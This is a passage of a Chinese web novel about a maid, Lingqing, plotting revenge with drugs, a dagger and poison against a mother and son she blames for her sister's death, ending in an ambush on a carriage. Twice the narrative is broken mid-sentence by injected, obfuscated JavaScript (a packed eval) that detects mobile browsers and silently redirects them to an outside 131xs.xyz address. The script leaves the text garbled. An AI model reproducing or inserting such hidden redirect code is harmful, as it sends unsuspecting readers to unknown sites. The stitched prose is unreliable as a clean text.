眼泪一滴、两滴,冰冷的滴落在剑穗上,那曾在她眼中跳跃的,属于姐姐的鲜活光彩,此刻被一片死寂的灰翳覆盖。 这条剑穗,可能再也带不回姐姐身上了。 她明白了,她一切都明白了。 这一刻,她所有的期望全都化为了乌有。 姐姐……姐姐…… 她的姐姐自小一直立志要当女侠,光明磊落,行侠仗义。君子一言,驷马难追。除了那日离开之时骗了她,其他时候都没有骗过她一次。 这一次………她果然也践行了她的诺言。 盼者长绝,诺者长陨。从此诺言如谶,生死为凭。 她真的,从不骗她。 说带到死。 就是带到死。 (第一卷完) 38. 复仇 日子渐渐到了初夏。一入夏,这风便少了许多。 梧桐叶片在午后的太阳光下泛着翠绿的光泽,偶尔有几片被微风吹落,无声地飘散在青石板路上。 鉴心池边的亭子内,陆砚修正端着茶盏喝茶。 坐在他对面的,是御史中丞家的嫡子,左文轩。他与陆砚修同岁,两人从总角时便一同在陆府学堂念书,向来关系投契。 “哎………来了也不能拜见伯父伯母。”左文轩长叹一声,坐起身来,关切地看向对面:“听说………伯母已经被禁足了?” 陆砚修的眉宇掠过一丝忧色,轻轻放下茶盏。 “母亲向来心善,待人宽厚,不想却被小人算计。”他叹了口气,声音里带着几分惆怅,“二姐怎么都不肯原谅母亲,如今父亲也得给她个交待,母亲便只能在院中反思。说起来,母亲这些年为了这个家操了多少心,谁知道竟会落得这般田地。” 他说得情真意切,不知道的还真以为林雪桐蒙受了天大的委屈。 左文轩惊讶道:“不是吧,贵府二小姐看着温婉懂事,怎的如此不知进退。还非得把自己母亲逼死不成?” 陆砚修脸色越发为难,没有说话。 左文轩看他这样,连忙安慰道:“唉,后宅之事最是复杂。女人之间的争斗,向来比朝堂上的还要凶险。你夹在中间,也是为难了………” 他顿了顿,又笑着拍陆砚修的肩膀:“说起来,你也到了该娶妻的年纪。若是娶了个家世雄厚的正妻,碰上这种事,跟你爹求求情,你母亲也不用禁足了。” 陆砚修温和地笑了笑:“父亲倒是有意为我说亲,只是我还未遇到心仪之人。” “哈哈哈哈,看你这个样,估计以后是个痴情的,未来的嫂夫人有福了。”左文轩拍案大笑,“不过话说回来,在正妻未定之前,总也要有个通房解闷不是?” 他凑近了些,压低声音,脸上带着男人之间心照不宣的笑意:“我家里如今已有四个通房,当真是好滋味。只是正妻未进门,只能偷偷的来。将来正妻进门了,该打发的也要打发了。“ 陆砚修懵懵懂懂,甚至还带着几分羞涩:“文轩兄说笑了,我对这些事情......…” “哎!何必装模作样。”左文轩摆摆手,“咱们都是男人,有什么好遮掩的。你看,随便寻个丫鬟当通房,既能解闷,又不耽误将来娶正妻。那些丫鬟本就是下人,能爬上主子的床已经是天大的福分了。” 陆砚修依旧笑笑,不置一言。 可他脑海中,缓缓浮现出了一个人影。 清冷纤弱,肌肤胜雪,宛如一株青莲,站在那里就不同于那群庸脂俗粉。虽然这女人内里精得像猴子,人也死板得很,还屡次坏他好事,站在陆沁那边。 但他知道,这女人只是没受过男人的追求。女子嘛,再怎么清高,只要男人稍微卖卖好,保准会贴到身边来。更何况,她不过是个丫鬟,能有什么见识? 他们现在已然与陆沁撕破了脸,陆沁身边也就只有两个贴身丫鬟和一个老嬷嬷可用。若是他能再把凌青要过来……… 那陆沁还能拿什么和母亲斗? 正想着,就看到远处的□□那头,他脑海中想到的那个人,正缓缓走来。 还是一身淡青色的衣裳,头发简单挽着,身上没有再多余的装饰,可就是显得出尘清冷。 她的神情淡漠,眼神专注地看着前方,仿佛在思考着什么事情。 “凌青姑娘。”陆砚修站起,温和的看着她,脸上带着笑容:“又见面了。” 凌青闻声,抬起头。 看见是他的那一瞬间,她的眼神似乎划过一丝阴冷,但转瞬即逝,快得让人以为是错觉。 她走上前,朝亭中两人淡淡行了个礼,便转身要走。 “凌青姑娘,”陆砚修叫住了她。 凌青转过身。 在左文轩兴奋的目光中,陆砚修笑道:“这么热的天,你还在外面奔波,也不怕中暑。要不要上来,喝盏茶?” 这话说的极其平易近人,以他对下人的了解,没有下人会听了这话不受宠若惊。 凌青却不说话,只是一瞬不瞬地盯着他。 陆砚修等了半天都没等到下文,心中有些不耐,但表面上还是温柔的笑容:“怎么了,怕拘束吗?没关系,我只是怕你辛苦。若是你介意,就算了。” 凌青依然沉默,目光似乎要把他看透。 她这瘆人的目光死死盯着,竟让陆砚修在这大热天产生了一丝冷意。他感受到,身后的左文轩也有些尴尬。 空气仿佛凝固了一般,过了许久,凌青才开口。 “茶,就不喝了。”她垂眸,淡声道:“只是想问二公子一句。” “你说。” 她平静地看着他,下一句话却是语出惊人。 “公子是看上我了吗?” 此话一出,左文轩瞬间把手中的茶盏打翻在地。 陆砚修也皱起眉头,不可思议地看着她。 他打出生之日起,就没听过如此直言不讳的话,直接到让他都反应不过来。 他知这丫鬟特别,却不想………这么特别。 “你说笑了。”陆砚修脸上的笑容有些僵硬,"我只是看你最近累了些,又怕你中暑。” 凌青丝毫没有听到他的解释,继续睁着那双深如潭底的眼眸,幽幽道:“那你除了渚碧,是不是也垂涎过不少别的女子?” 听到这话,陆砚修彻底愣住。 果然,她知道了。看来陆沁上次能逃过他下的迷药,还直接反击,都是面前这个女人挑唆的! 母亲说陆沁已经知道了渚碧与他们勾结的所有事情,他还不信,因为他觉得陆沁没这脑子。 这女人……可真是麻烦。 左文轩不解道:“什么渚碧………陆兄?” 陆砚修没有理他,只是看着凌青,缓缓沉下脸:“凌青,渚碧是二姐院里的丫鬟,与我从无关系,你可不要胡言乱语。” 凌青看着他慌乱的样子,嘴角勾起一丝冰冷的笑意。那笑容竟犹如恶鬼,直叫人毛骨悚然。 “那看来………估计不止这个了。”她缓缓走近,站到陆砚修面前,抬起头:“我发现了………你好像很喜欢有脾气的女人啊。我、渚碧,还有………” 她声音越发冰凉刺骨:“会骑马会射箭的?” 此话一落,陆砚修瞳孔猛然骤缩。 不过片刻,他的脸色瞬间从正常肤色变为苍白,整个身子微微颤抖,似乎全身都在用力。 会骑马,会舞剑的女人。 他的脑海中不由自主地浮现出那个骑在马上,腰佩长剑的红衣女子。 明媚,潇洒,自信,不屈……… 她有着所有吸引他的地方,她是他此生最难以忘怀之人。 却也是………他此生,最不愿提起的人。 可是眼前这个人,她是怎么知道的? 无论怎么样,这件事都不能暴露于天日。 陆砚修努力让自己平静下来,但双手依然在微微颤抖。他深吸一口气,眼中闪过一丝狠厉的光芒。 “你在胡说什么?”他的声音压得很低,带着明显的威胁,“有些话,不该说的就别说。” “否则......…”他居高临下地看着她,“你会后悔的。” 然而,眼前的少女丝毫没有任何恐惧的神情。她神情淡漠,下巴微微扬起,就这么像看跳梁小丑一样看着他。 这幅神态......… 陆砚修的瞳孔再次收缩,心脏如被重锤敲击。 这幅神态竟和当初那个女人一模一样。 那女人也曾这样看着他,眼中满是轻蔑和不屑,仿佛他无论怎样努力,都不能打动她分毫。 “你......”他的声音开始颤抖,理智的弦彻底断裂。 恐惧和愤怒让他失去了最后的控制。他猛地伸出手,一把推倒了凌青。力道之大,让凌青一下子摔倒在地。 “啪!” 青石板很硬,直接让她的手肘磕破了皮,渗出血来。 但她的眼神依然冷静,仿佛失去了痛觉一般,没有任何波澜。 左文轩被这突如其来的变故吓得目瞪口呆。他看看倒在地上的凌青,又看看脸色铁青的陆砚修,一时间不知道该说什么好。 “陆兄,你这是......”他结结巴巴地说。 陆砚修这才意识到自己失态了。他深吸几口气,努力让自己平静下来,然后冷冷地看着凌青。 “你给我记住,有些话不该说的就别说。”他冷声道,再无温润气质:“守住你的嘴,否则小心小命难保。” ———————— 陆沁正坐在床前看书,忽然听到脚步声,抬头便看到凌青推门而入。 “凌青,你回来了。”陆沁放下手中的书,温柔笑道,“今日怎么去了这么久?” 然而,当她看清凌青的样子时,脸色立刻变了。 凌青的裙子上沾着尘土,手肘处破了皮,还有血迹。她的头发也有些散乱,整个人看起来很是狼狈。 “怎么回事!”陆沁惊呼一声,急忙站起身来,“你这是怎么了?谁欺负你了?” 凌青丝毫没有表情,只是淡淡道:“没什么,只是不小心摔了一跤。” “摔了一跤?”陆沁不信,“好端端的怎么会摔跤?你告诉我,到底发生了什么事?” 凌青微微抬头,望向陆沁关切的眸子。 她似乎有些话想说,可到了嘴边,还是止住了。 “没什么,真的没什么。”她平静道:“小姐不用担心,我先回去处理一下伤口。” 陆沁见她这个状态,也不好再追问,只能点头:“你快去,有什么需要只管说。伤口可不能大意,一定要处理干净了。” 凌青点点头,转身离开。 陆沁看着她的背影,眼神中满是担忧。她几次想要叫住她,但话到嘴边又咽了回去。 她总觉得,自从上次凌青从栖桐院回来,整个人就如同笼罩在阴影里一样,一直很抑郁。 如果可以………她真的很希望她能说出来。 ——————— 凌青回到自己的屋子,推门而入。 红袖从床上站起来道:“姐姐回来了?你………” 她看到她身上的伤,连忙扑过来,急切道:“你这是怎么了?” 凌青没有回答,只是走到桌边坐下。红袖连忙打了水来,帮她清理伤口。 红袖用棉布沾了水,轻轻擦拭伤口,那些凝固的血迹被一点点洗去,露出下面鲜红的伤口。 “嘶......”红袖看得都忍不住吸了口凉气,“这得多疼啊。” 凌青却眉毛都没动一下。她就那样静静地坐着,任由红袖处理伤口,神情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205097|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡漠得仿佛受伤的不是她一样。 过了许久,她才问道:“你娘传来消息了吗?” “哦,我来正是要和你说这事。”红袖放下手中棉布,“我娘虽跟着夫人一起禁足,但她认识一个每日去院子里送菜的小丫头,便托那丫头送来了消息。” “什么消息?” “虽然夫人禁足,但二公子还是能正常出入她的院子。”红袖压低声音,“今日下午,二公子又去找了夫人,神态很慌张。两个人在屋里说了很久的话,我娘没听清具体内容,但看他们的神色,应该是在商量什么重要的事情。” 果然,不出她所料。陆砚修也参与了。 她早就打听了陆砚修的行踪,知晓他今日中午会在亭子与友人品茗。她故意路过那地,诈一诈他。 他果然按耐不住,立马去找林雪桐商量。 凌青不由攥紧了手心。她的目光,也不由移到了自己床头的枕头上。 谁也不知道,那个枕头下一直藏着一把匕首。 冤有头,债有主。她已经等不下去了,既然知道凶手是林雪桐母子,她就要让他们立刻付出代价。 他们多享受一天日子,她就觉得不公。 伤害她姐姐的人,一个也跑不掉。她定会让那两个人死得凄惨,身无全尸———都去给他姐姐陪葬! —————— 清晨的雾气还未散去,栖桐院外更是一片静谧。 凌青戴着一顶斗笠,站在院子前。 斗笠的帽檐很大,将她的半张脸都遮在了阴影里。她手里拿着个藤编的菜篮,篮子里装着新鲜的青菜和几尾活鱼。 她已经打听到了,今日陆砚修会过来用早膳。 她再也等不及了,哪怕这次事后被抓到,处死,她也没有遗憾。她现在满心只想着如何杀了那两人,如若那两人不死,她这一辈子都会痛苦万分。 凌青悄悄摸了摸自己腰间的匕首,那把匕首很小,藏在衣服里不容易被发现。她早已经在这菜篮里的菜下了迷药,哪怕煮熟食用也会让人昏迷不醒。 到时候陆砚修和林雪桐被迷倒,她再进去用迷药粉迷倒侍候的下人。她就可以,拿起那把匕首,将他们的肉………一刀一刀割下来。 一阵晨风吹过,凌青的斗笠微微摆动。她深吸一口气,提着菜篮朝栖桐院走去。 院子门口站着两个家丁,其中一个较为年长,平时负责看守院门。另一个年轻些,是新来的。 年长那个正和旁边的那个说着什么,两人低声聊着,不时发出几声轻笑。 凌青走近时,脚步声发出了轻响。年长的那个抬起头,看到她,眼中闪过一丝疑惑。 “怎么今天来的如此早?”他问道,声音里带着几分困倦。 凌青将斗笠往下压了压,压低声音道:“今日的菜新鲜,便早点送来。” 那家丁又仔细看了看她,皱着眉头问:“为往日不是秋燕吗,今个怎么换人了。” 凌青早有准备,顺畅答道:“我也不知她怎么了,或许有事吧,反正嬷嬷派我今日来。” 她以为,自己说完这话,就会被直接放进去。可谁知,那家丁不知为何没有答话,一直盯着她的菜蓝子看。 他看着,眉头越来越深。 不好………他是不是发现了什么。 凌青面无表情,但手却不自觉地攥紧了。她仿佛能听到自己的心跳声,一下一下。 过了不知多久,旁边的年轻家丁忽然打破了平静。 “哥,让她快进去放上得了,在这耽误时间。” 那年长家丁似乎也没看出什么问题,摆摆手:“拿进来吧。” 凌青点头,跟着他走进去。 院里很安静,不知是被禁足,还是清晨的缘故。整个院子只能听见他俩的脚步声。 凌青故意放慢脚步,墨迹半天才走到小厨房,放篮子的时候也慢慢吞吞。 家丁不耐烦道:“快点,笨手笨脚的。” 凌青放下篮子,却没有要走的意思。她得找个理由留下,比如去解手。然后藏在暗处等待时机,才能在林雪桐母子晕倒时及时进去。 “我………” 她刚要说话,就被打断。 “快走快走,别在这里磨蹭。夫人还在睡觉,别吵醒了她!” 凌青微微蹙眉,刚要再说什么,却忽然听到从院子里传来脚步声。 一个小丫鬟从院门外跑了进来,手里还提着菜篮,正是平时负责送菜的秋燕。 秋燕看到凌青,目光转而又看向她脚下的菜篮子。她先是一愣,然后疑惑地问道:“咦,怎么有人先来送菜了。不对,你是谁啊?” 那家丁的眼神也瞬间狐疑起来,两个人皆看向凌青。 凌青淡定道:“我是新来的,嬷嬷让我来送栖桐院。” 她面色如常,心内却有些说不准。 幸而那小丫鬟秋燕挠挠头,呆呆说道:“哦,可能是我昨天和她说我不大舒坦,她便叫你来吧。” 看到他俩疑虑尽失,凌青这才暗自松了一口气。 紧接着,秋燕拿着菜篮便要走。 “等等,”凌青拦住她,“我看你的菜要新鲜一点,我拿走送五小姐的院子去,你的留下吧。” 秋燕愣愣地:“哦………” 凌青自然地提起地上的篮子,转身离开。 看来今日,是没有机会下手了。 39. 孽识 凌青独坐在自己的屋内,摆弄着桌上的东西。 烛火摇曳,投出微弱的光影,照在她的右侧脸上。一半苍白素净,一半隐在浓重阴影中,泾渭分明,竟犹如半面神魔。 她面前摆着一个青瓷小瓶。瓶子精致小巧,里面装得却是能要人命的好东西。 她轻轻捻起里面的一撮粉末,放在指尖细细摩挲。这是她费了大功夫才弄到的毒药,名叫“蚀骨散”。 这药服用片刻,便会中毒。中毒之人先是五脏六腑如火烧般疼痛,那种痛苦能让人恨不得撞墙而死。紧接着,浑身骨头仿佛被千万只蚂蚁啃噬,从内到外,一寸寸地蚕食着血肉。最终,中毒者会在极度的痛苦中死去,死相极其难看,七窍流血,面目扭曲。 这样的好药,配那两个人,还有点可惜了呢。 不过想想林雪桐和陆砚修痛苦挣扎地模样,她心中瞬间就涌起一丝快意。 不过……药是有了,该怎么下到他们的饮食当中呢。 自从那日送菜差点暴露后,栖桐院上上下下戒备心更重了。听说林雪桐也更加小心,身边时刻必须有人跟着,寸步不离。就连喝茶用膳,都要身边的丫鬟先试过才敢入口。 她再想故技重施,投毒下药,怕是不易了。 至于红袖的母亲,更不能让她去下毒。这本就是她和这陆家母子之间的事,把无辜之人牵扯进来,岂不是置别人性命于不顾。 她正皱着眉头沉思,房门忽然被推开。 “凌青,你怎么还坐在这?”谷翠匆匆走了进来,看到她还坐在桌前,便问道:“马车都准备好了,你连衣服都不换?” 凌青迅速将桌上的瓷瓶收到袖中,抬头看向谷翠。 “马车?”她蹙眉道:“准备马车做什么?” “你傻了啊。今日是小姐生母的祭日,小姐要去慈恩寺上香。前几天不是和你说过了吗?”谷翠一边说着,一边轻车熟路地从柜子里翻出凌青的外衣,递给她,“赶紧,小姐已经等着你了。” 凌青怔了怔,这才想起陆沁前几日确实好像确实提过什么事。 只是她这些天一心想着如何复仇,便把这些都抛在脑后了。 满脑子都是下毒宰人,容不得她再记别的事。 谷翠叹了声气:“小姐虽然不记得先夫人,但其实一直心里想着她呢。每年这个时候,小姐都会去慈恩寺上香,风雨无阻。” 凌青闻言,稍稍抬了抬眼,眼神有些复杂。 “好了,快来吧。”谷翠看着她换上外衣,“别让小姐等急了。” 凌青犹豫了一下,还是点了点头,要随她出去。 “等等,” 她忽然停下脚步,看向谷翠。 “先别急着出去,我去找老夫人。” ———— 马车在青石路上缓缓而行,车轮碾过石板,发出有节奏的“哒哒”声。 今日只有女眷出行,马车便不宜太过奢华招摇。但马车内部还是布置得极为舒适。 车厢内,谷翠正轻声安慰着陆沁。 “小姐,您也别太难受了。”谷翠从怀中取出一块帕子,递给陆沁,“夫人在天有灵,也不愿看到您这般。” 陆沁接过帕子,轻笑道:“我出生没多久母亲便去世,我从小没见过她,心里只有遗憾。只想为她祈福,愿她能在来世过得好。" 她说着,眼中却闪过一丝难以掩饰的哀伤。 失去母亲的痛苦,哪里是几句话就能说得清楚的。哪怕再没见过,也不可能毫无一丝感情。 谷翠在一旁轻声道:“小姐孝顺,夫人泉下有知,一定会保佑小姐平安喜乐的。” “希望如此吧。”陆沁望着车窗外,声音越发的轻:“只要祖母和父亲身体健康,我就心满意足了。” 谷翠见不得她情绪低迷,连忙想法子哄她开心。先是夸赞陆沁今日的衣裳好看,又说前几日听来的趣事。 一路上她把什么都说了一遍,说到最后,她已经口干舌燥,实在不知道该说些什么了。 她见陆沁的愁容依然未散,便转头看向凌青,不停地使眼神,示意凌青也说些什么。 凌青:“………” 她沉默着看向陆沁。 陆沁感应到她的目光,侧过头来,露出个温柔的笑容:“好啦,我们不说这些了,想想等会儿上完香去哪吧?好不容易出来一次,我带你们好好逛逛。听说回来路上有个小集市,晚上很是热闹,我们可以好好逛逛。” 凌青怔了怔,就这么望着陆沁。 陆沁的眼睛微微弯起,清澈的眸中满是关切和担忧。 原来.........她早就察觉到了自己近日的异常。 所谓的逛集市,也是想带自己来散散心吧。 凌青心中泛起一丝涟漪,像是有什么东西轻轻撞在了胸口上,虽然力道很柔,却难以忽视。 这种感觉很陌生,或许是她已经太久没有感受过别人的关怀了。 可是很快,这丝涟漪就被她强行压了下去。 她的心.......已经没有空余留给别人了。她现在满心满眼,只想着如何与林雪桐母子同归于尽。 “好。”她轻声应道,声音依旧平静。 马车走了约莫半个时辰,终于到达了山脚下。 车夫在外面道:“小姐,马车上不去,只能在这里等您了。” “无妨,我们步行上去。” 三人沿着石阶,一路向上攀爬。陆沁虽身子柔弱,出了不少汗,但心情气色比在府里好多了。 没过多久,便到了寺门前。慈恩寺坐落在半山腰,红墙黛瓦,古朴庄严。寺庙依山而建,层层叠叠,在青山绿水的映衬下显得格外雄伟。寺门前聚集着许多香客,有男有女,有老有少。袅袅青烟在空中缭绕,带着淡淡的檀香味,让人心境平和。 “今日,来上香的人还挺多的。”谷翠不由感慨。 凌青也望着那些香客,目光在人群中缓缓扫过。忽然,她眸子微微一凝,好像在人群中看到了一个极为眼熟的身影。 她心中一跳,下意识地想要看得更清楚些,可就在这时,那身影却转身融入了人群,瞬间消失不见。 这不是.........那谁么。 不可能,那人怎么会出现在这里,一定是她看错了。 凌青摇摇头,跟着陆沁进入寺庙,穿过山门,来到大殿前。 大殿巍峨壮观,屋檐高翘,雕梁画栋。殿前有一个巨大的香炉,香火鼎盛。 殿内供奉着一尊地藏王菩萨,菩萨身披袈裟,慈眉善目,手持锡杖和明珠,脸上带着慈悲的笑容。两旁还有其他佛像,个个金身闪闪,威严无比。 殿内跪着不少信众,有的在虔诚祈祷,有的在轻声诵经。殿外的风吹过回廊,带过门口几声铜铃轻响,声音传到殿内,不住回响,听起来越发空灵。 陆沁走到香案前,恭恭敬敬地跪在蒲团上。 她从香烛中取出三炷香,在烛火上点燃。香头燃起,发出淡淡檀香。 她双手举过头顶,对着地藏王菩萨恭敬地三拜九叩。 “求菩萨慈悲,为亡者超拔。”她轻声说道,声音有些哽咽,“香烛微薄,诚心一片,求菩萨成全。若能让先母得享安宁,小女日后定会常来礼佛,为菩萨添灯续香。” 她说话的声音很轻,但凌青却听得清清楚楚。 说罢之后,她将香插入香炉中,额头轻叩在地,却久久未抬。 谷翠见状,也跟着跪下祈祷。 凌青却依然站在原地,怔怔地看着这满殿神佛。 那些金身闪闪的佛像静静地端坐着,慈眉善目,仿佛能洞察世间一切苦难。 可她心中却毫无波澜。 都说神佛慈悲,能够普度众生,拯救苦难。可她心中已满是杀戮之念,饱受仇恨之苦。 这圣地,怕是容不下她这样的人。 幸而,她也从不信神佛。 她只信.........自己的刀。 过了约莫一刻钟,陆沁才起身。她的眼中含着泪水,但脸上却带着淡淡的笑容,仿佛真的达成了心愿。 “小姐.......”谷翠担忧地看着她。 “没事。”陆沁微微一笑:“我相信神佛会保佑母亲和我们的。” 三人走出大殿,顺着路往外走去。 殿外的青石台阶被日头晒得发烫,穿堂风卷着热浪掠过,直吹起无数香灰。 她们正匆匆走着,忽然听见身后传来一个温和的声音。 “施主请留步。” 声音不大,却仿佛能穿透人心。 凌青脚步一顿,缓缓回头。 一个年长的僧人正站在大殿的阴影中,灰色的僧袍在微风中轻摆。他约莫五十多岁,头发花白,脸上布满了岁月的皱纹,但那双眼睛却清澈如水,仿佛能看透人心。 陆沁她们也停了下来,疑惑地看过去。 “大师有何指教?” 不知为何,虽然这个僧人未曾指名道姓,但凌青知道,他说的是自己。 僧人缓缓走近,在凌青面前停下,双手合十,那张布满皱纹的脸上带着慈悲的笑容。 “女施主,”他声音不高,“你眉宇间似锁着些重东西呢。” 凌青愣了愣,没有说话。 “施主心中被无数事牵扯着,心很乱。”他抬起眼,清明至极,“这样下去,迟早会自己疯魔。” “老衲送施主一言,徐徐图之,切不可急于一时。” 话音一落,微风吹过,吹起凌青耳边一缕发丝。 她静静地看着这个僧人,看着他那双仿佛能看透一切的眼睛,心中却没有丝毫被看透的不安。 过了许久,久到众人都以为她不会说话时,她缓缓开口了。 “大师,”她顿了顿,声音中带着一丝嘲讽,“我没有办法,真的。如果我什么都不做.......” “我现在就会疯。” 这句话说出来的时候,她的声音几乎是破碎的,像是从胸腔深处挤出来的,带着一种绝望的决然。 僧人望着她,眼中的慈悲更深。 他轻轻摇头,仿佛在为什么感到惋惜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226386|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “大师………您说的是什么意思?”陆沁在旁不解道。 “无事,小姐,我们走吧。”凌青直接转过身,径直往前走去,脚步比之前更加急促。 身后,那个僧人依旧站在原地,望着她渐行渐远的背影。 走出去了很远,她却还能听到那僧人的声音,在寺院里回荡: “造孽,造孽.......” —————— 走过一道石门,穿过一片竹林,她们终于来到了后山的入口。这里人声渐起,将刚才那种压抑的氛围冲淡了几分。 一路上,陆沁和谷翠见凌青脸色不好,也不敢问什么。 正当几人稍稍松了口气时,前方忽然传来一个熟悉的声音。 “阿姐?” 几人不约而同地抬起头,只见不远处的石阶上,一个身影正缓缓走来。 “楚之?”陆沁惊讶地叫道,声音中带着意外的喜悦。 来人正是逄楚之。 他不同于往日的花枝招展,今日竟只穿了一身素白衣裳,一步一步朝他们走来。 凌青蹙起眉,神色变冷。刚才果然不是她的错觉,她的确看到了他,只是觉得他怎么可能来寺庙,便没敢确认。 “阿姐,真是巧了。”他走上前来,声音却是还和往常一样,“没想到在这里遇到你们,你是来给伯母上香祈福的吧。” 他的目光在众人脸上一一扫过,最后停在凌青身上。片刻之后,他又移开眼睛。 “是,你呢?也是来上香的?”陆沁问道。 “嗯。”逄楚之点点头,声音竟带着一丝难以察觉的哀伤,“过几天也是我母亲的忌日,我也来上柱香。” 凌青微微一愣,她这才想起,逄楚之虽是逄家家主的唯一儿子,但也是自幼丧母。 难怪.......他和陆沁的关系那样好,比陆砚修更似亲姐弟。都是自幼失去母亲的人,怕是都能体会那种痛苦吧。 “哎,别这么难过。”逄楚之情绪只沮丧了一刻,便又笑道:“相信母亲们在天之灵,也会保佑我们。” 陆沁点头:“嗯!” “刚才上完香出来的路上,听见洒扫的小僧人说,后山有颗千年古树,祈福很是灵验,不如阿姐同我一起去看看?” “好啊。”陆沁笑着答应,回头招呼凌青与谷翠一同前去。 石阶蜿蜒向上,两旁皆是茂密古树。陆沁和谷翠走在前面,低声说着什么。凌青走在中间,逄楚之走在她身后。 凌青默不作声地走着,却听见身后传来逄楚之的声音。 “姐姐,”他的声音少了几分平日里的轻佻:“我看你今日.........似乎心情不大好。” 凌青本不欲理他,但怕他一直纠缠,便不耐烦地回了句: “一直都不好。” “这样啊........”逄楚之的声音愈发的轻,仿佛也带上了几分悲伤,“那我算知道你为什么说我们很像了。” “嗯?” “因为.........我也一直心情都不好。” 闻言,凌青怔了怔。但紧接着想到这人嘴里一向没有实话,恐怕这句也不是什么真话。 他虽也自幼丧母,但处境却比陆沁好得多,能有什么烦心事呢? 不一会儿,众人便走到了那颗千年古树下。这棵古树上系满了红色的祈福带,密密麻麻,数不胜数。微风吹过,祈福带轻轻摇摆,像是神佛在回应这树上的愿望。 “听说在这棵树上写下心愿,很是灵验。”陆沁似乎很是感兴趣,眼中闪着光芒,“我们也写几个吧。” 在摊前僧人那买下几条祈福带后,每个人都领了一条。 谷翠最积极,领了之后,率先找了个地方坐下,开始在祈福带上写愿望。写的无非就是是祈求陆沁身体健康,家里人平平安安。 陆沁想了想,也开始拿起笔,在祈福带上题字:“愿祖母与父亲身体健康,愿我所在意之人平安喜乐。”带上所言字字娟秀,每一笔都很用心,一眼就能看出题字之人祈求的诚意。 逄楚之也拿了一条祈福带,但他写的时候很小心,刻意背过去了身子,没任何人看见。 但凌青注意到,他的笔尖在祈福带上方悬停了很久,才小心翼翼地落下第一笔。 每写一个字,他都要停顿片刻,仿佛所求之事对他来说不可实现。 凌青看向古树,却始终没有动笔。 “凌青?”谷翠已经将自己的祈福带挂在树上,转头看来,“你………不写吗?” 逄楚之和陆沁也都看了过来。 “凌青,”陆沁朝她轻轻一笑,“给自己写个平安符也是好的啊。” 凌青犹豫片刻,终是在红绸上匆匆写了个字,直接踮起脚尖挂在树上。 祈福树的枝桠已经被红绸缠得密密匝匝,风一吹,就簌簌作响。最边上的那片孤零零的红绸,被风扯得笔直。 又一阵风过,那红绸徐徐转过来,墨写的字在光照下忽明忽暗,露出全貌——— “为父报雠以出死,非为生也。①” 40. 刺杀 准备回去之时,已经天色不早。 夕阳西下,远山如黛。古寺的钟声远远传来,在山谷中回荡,带着一种莫名的苍凉之感。 几人从后山走下来时,山脚下也没什么人了。 “时候不早了,街上可能没有什么人了。”陆沁看了看天色,“我们也不去集市上闲逛了,直接回去吧。” 凌青和谷翠也都点头。出来了这么一天,的确有些疲惫,只想赶紧打道回府。 “楚之,你怎么回去?”陆沁转头问道。 “我骑马来的,马就在山下,你们不用管我。”逄楚之眨眨眼,微微一笑,似乎又想到了什么,“哎,不如这样,我当一回君子,在后面护送你们的马车,确保姐姐们平安回到府中。” “啊,会不会太麻烦了?” “阿姐,你跟我客套什么,你不让我护送,我会愧疚的。” 逄楚之还是那个逄楚之,情绪低落不过一下午,立马又恢复到以前,说话浸了蜜。 “好吧,那我就不推辞了。”陆沁没再拒绝拒绝。毕竟天色已晚,路上确实不太安全。 几人来到山下,陆沁她们的马车就停在路边。 逄楚之的马栓在不远处的树下,是一匹通体雪白的小马。身量刚刚抽得舒展,听见声音便猛地抬头,脖颈一扬,鬃毛炸开。 他轻抚马鬃,小马立即变得温顺,乖乖地蹭了蹭他的手。 “那我们就走吧。” 马车缓缓驶了起来,逄楚之见状,也翻身上马,策马跟在后面。 起初,一切都很平静。 街道两旁的商铺大多已经关门,只有几家还亮着灯。偶尔有行人匆匆走过,脚步声在夜色中显得格外清晰。 车厢内,陆沁和谷翠靠在软垫上,已经有些困倦。凌青掀开一角车帘,看着外面逐渐暗下来的街景。 大约走了一炷香的时间,街道开始变得更加冷清。 凌青忽然皱起眉头。 等等………好像有些不对。 这条路,似乎和来时走的路不一样。 白日里应该是走的主街道,道路两旁很宽。但现在这条路格外冷清,两旁全是窄窄巷道。 幸而,后面还有逄楚之的马蹄声,在这一片寂静中显得尤为安心。 马蹄声后面,似乎还有另一辆马车的声音。 夜风吹过,发出沙沙的声响。之前还能听见远处的狗叫声,现在也听不见了,整个街道安静得有些毛骨悚然。 凌青内心的不安越来越强烈。 虽然今日出来前,她做好了布局。但是她真的没想到,那个人竟真敢做出这样的事……… 后面传来逄楚之的声音,声音中带着明显的警觉: “阿姐,周围好像有人埋伏。” 凌青的心瞬间沉了下去。 果然,还是来了。 车厢内,陆沁和谷翠被后面的声音惊醒。她们眼神还蒙着睡意,茫然地看着周围。 谷翠揉了揉眼睛,声音里带着迷糊:“怎么了?” 夜风吹过,带起车帘的一角,月光洒进车厢。 “阿姐!”逄楚之的声音再次从后面传来,这次更加急切,带着明显的紧迫感。 凌青猛地掀开车帘,回头望去。 月光之下,逄楚之骑在马上,他的脸色不再那么轻松,一只手牵着缰绳,另一只手已经按在了剑柄上。 两人的眼神在空中相遇。 都是同样的凝重,同样的警觉。只是一眼,两个人似乎就都明白了什么。 就在这时,马车忽然停了。 